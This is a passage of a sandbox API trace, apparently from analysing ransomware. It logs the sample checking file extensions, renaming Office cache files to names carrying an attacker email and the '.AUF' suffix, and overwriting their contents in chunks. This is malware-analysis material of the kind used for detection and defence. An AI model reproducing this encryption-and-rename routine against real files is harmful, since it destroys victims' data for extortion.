(lpString1=".pdf", lpString2=".exe") returned 1 [0213.553] lstrlenW (lpString=".xls") returned 4 [0213.553] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0213.553] lstrlenW (lpString=".xlsx") returned 5 [0213.553] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0213.553] lstrlenW (lpString=".ppt") returned 4 [0213.553] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0213.553] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0213.553] lstrlenW (lpString=".zip") returned 4 [0213.554] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0213.554] lstrlenW (lpString=".rar") returned 4 [0213.554] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0213.554] lstrlenW (lpString=".bz2") returned 4 [0213.554] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0213.554] lstrlenW (lpString=".7z") returned 3 [0213.554] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0213.554] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0213.554] lstrlenW (lpString=".dbf") returned 4 [0213.554] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0213.554] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0213.554] lstrlenW (lpString=".1cd") returned 4 [0213.554] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0213.554] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0213.554] lstrlenW (lpString=".jpg") returned 4 [0213.554] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0213.554] lstrcmpiW (lpString1=".dll", lpString2=".AUF") returned 1 [0213.554] lstrlenW (lpString="osetup.dll") returned 10 [0213.554] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0213.554] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=7378792) returned 1 [0213.554] CloseHandle (hObject=0x1e8) returned 1 [0213.554] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0213.554] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.554] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0213.557] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0213.557] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc6c | out: lpNewFilePointer=0x0) returned 1 [0213.557] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0213.557] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c30058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0213.615] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0213.615] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0213.715] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x30dfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0213.715] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0213.715] ReadFile (in: hFile=0x1e8, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0213.757] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.757] WriteFile (in: hFile=0x1e8, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x30dfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0213.928] SetEndOfFile (hFile=0x1e8) returned 1 [0213.931] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0213.931] WriteFile (in: hFile=0x1e8, lpBuffer=0x4049098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x4049098*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0213.936] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0213.936] WriteFile (in: hFile=0x1e8, lpBuffer=0x4049098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x4049098*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0213.937] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0213.937] WriteFile (in: hFile=0x1e8, lpBuffer=0x4049098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x4049098*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0213.945] CloseHandle (hObject=0x1e8) returned 1 [0213.945] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0213.945] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0213.945] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0213.945] lstrlenW (lpString=".doc") returned 4 [0213.945] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0213.945] lstrlenW (lpString=".docx") returned 5 [0213.945] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0213.945] lstrlenW (lpString=".pdf") returned 4 [0213.945] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0213.945] lstrlenW (lpString=".xls") returned 4 [0213.945] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0213.945] lstrlenW (lpString=".xlsx") returned 5 [0213.945] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0213.945] lstrlenW (lpString=".ppt") returned 4 [0213.945] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0213.945] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0213.945] lstrlenW (lpString=".zip") returned 4 [0213.945] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0213.945] lstrlenW (lpString=".rar") returned 4 [0213.946] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0213.946] lstrlenW (lpString=".bz2") returned 4 [0213.946] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0213.946] lstrlenW (lpString=".7z") returned 3 [0213.946] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0213.946] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0213.946] lstrlenW (lpString=".dbf") returned 4 [0213.946] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0213.946] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0213.946] lstrlenW (lpString=".1cd") returned 4 [0213.946] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0213.946] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0213.946] lstrlenW (lpString=".jpg") returned 4 [0213.946] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0213.946] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0213.946] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0213.946] lstrlenW (lpString=".doc") returned 4 [0213.946] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0213.946] lstrlenW (lpString=".docx") returned 5 [0213.946] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0213.946] lstrlenW (lpString=".pdf") returned 4 [0213.946] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0213.946] lstrlenW (lpString=".xls") returned 4 [0213.946] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0213.946] lstrlenW (lpString=".xlsx") returned 5 [0213.946] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0213.946] lstrlenW (lpString=".ppt") returned 4 [0213.946] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0213.946] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0213.946] lstrlenW (lpString=".zip") returned 4 [0213.946] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0213.946] lstrlenW (lpString=".rar") returned 4 [0213.946] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0213.946] lstrlenW (lpString=".bz2") returned 4 [0213.946] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0213.946] lstrlenW (lpString=".7z") returned 3 [0213.946] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0213.947] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0213.947] lstrlenW (lpString=".dbf") returned 4 [0213.947] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0213.947] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0213.947] lstrlenW (lpString=".1cd") returned 4 [0213.947] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0213.947] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0213.947] lstrlenW (lpString=".jpg") returned 4 [0213.947] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0213.947] lstrcmpiW (lpString1=".cab", lpString2=".AUF") returned 1 [0213.947] lstrlenW (lpString="ProPrWW2.cab") returned 12 [0213.947] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0213.947] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=222948913) returned 1 [0213.947] CloseHandle (hObject=0x1e8) returned 1 [0213.948] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab")) returned 0x2020 [0213.948] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.948] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0213.948] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0213.948] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc6c | out: lpNewFilePointer=0x0) returned 1 [0213.948] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0213.948] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c30058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0214.122] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0214.122] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0214.226] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x30dfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0214.226] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0214.226] ReadFile (in: hFile=0x1e8, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0214.246] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0214.246] WriteFile (in: hFile=0x1e8, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x30dfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0214.259] SetEndOfFile (hFile=0x1e8) returned 1 [0214.259] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0214.259] WriteFile (in: hFile=0x1e8, lpBuffer=0x4049098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x4049098*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.260] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0214.260] WriteFile (in: hFile=0x1e8, lpBuffer=0x4049098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x4049098*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.262] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0214.262] WriteFile (in: hFile=0x1e8, lpBuffer=0x4049098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x4049098*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.264] CloseHandle (hObject=0x1e8) returned 1 [0214.264] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0214.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0214.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0214.264] lstrlenW (lpString=".doc") returned 4 [0214.264] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0214.264] lstrlenW (lpString=".docx") returned 5 [0214.264] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1 [0214.264] lstrlenW (lpString=".pdf") returned 4 [0214.264] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0214.264] lstrlenW (lpString=".xls") returned 4 [0214.264] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0214.264] lstrlenW (lpString=".xlsx") returned 5 [0214.264] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1 [0214.264] lstrlenW (lpString=".ppt") returned 4 [0214.264] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0214.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0214.264] lstrlenW (lpString=".zip") returned 4 [0214.264] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0214.264] lstrlenW (lpString=".rar") returned 4 [0214.264] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0214.265] lstrlenW (lpString=".bz2") returned 4 [0214.265] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0214.265] lstrlenW (lpString=".7z") returned 3 [0214.265] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0214.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0214.265] lstrlenW (lpString=".dbf") returned 4 [0214.265] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0214.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0214.265] lstrlenW (lpString=".1cd") returned 4 [0214.265] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0214.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0214.265] lstrlenW (lpString=".jpg") returned 4 [0214.265] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0214.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0214.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0214.265] lstrlenW (lpString=".doc") returned 4 [0214.265] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0214.265] lstrlenW (lpString=".docx") returned 5 [0214.265] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1 [0214.265] lstrlenW (lpString=".pdf") returned 4 [0214.265] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0214.265] lstrlenW (lpString=".xls") returned 4 [0214.265] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0214.265] lstrlenW (lpString=".xlsx") returned 5 [0214.265] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1 [0214.265] lstrlenW (lpString=".ppt") returned 4 [0214.265] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0214.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0214.265] lstrlenW (lpString=".zip") returned 4 [0214.265] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0214.265] lstrlenW (lpString=".rar") returned 4 [0214.265] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0214.265] lstrlenW (lpString=".bz2") returned 4 [0214.265] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0214.265] lstrlenW (lpString=".7z") returned 3 [0214.265] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0214.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0214.265] lstrlenW (lpString=".dbf") returned 4 [0214.265] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0214.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0214.265] lstrlenW (lpString=".1cd") returned 4 [0214.265] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0214.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0214.265] lstrlenW (lpString=".jpg") returned 4 [0214.265] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0214.266] lstrcmpiW (lpString1=".exe", lpString2=".AUF") returned 1 [0214.266] lstrlenW (lpString="ose.exe") returned 7 [0214.266] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0214.266] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=174440) returned 1 [0214.266] CloseHandle (hObject=0x1e8) returned 1 [0214.266] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0214.266] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0214.266] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0214.266] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0214.266] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0214.477] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0214.574] GetLastError () returned 0x0 [0214.574] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x2a968, lpOverlapped=0x0) returned 1 [0214.719] WriteFile (in: hFile=0x1e0, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0214.722] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0214.722] WriteFile (in: hFile=0x1e0, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xe2, lpOverlapped=0x0) returned 1 [0214.722] SetEndOfFile (hFile=0x1e0) returned 1 [0214.722] CloseHandle 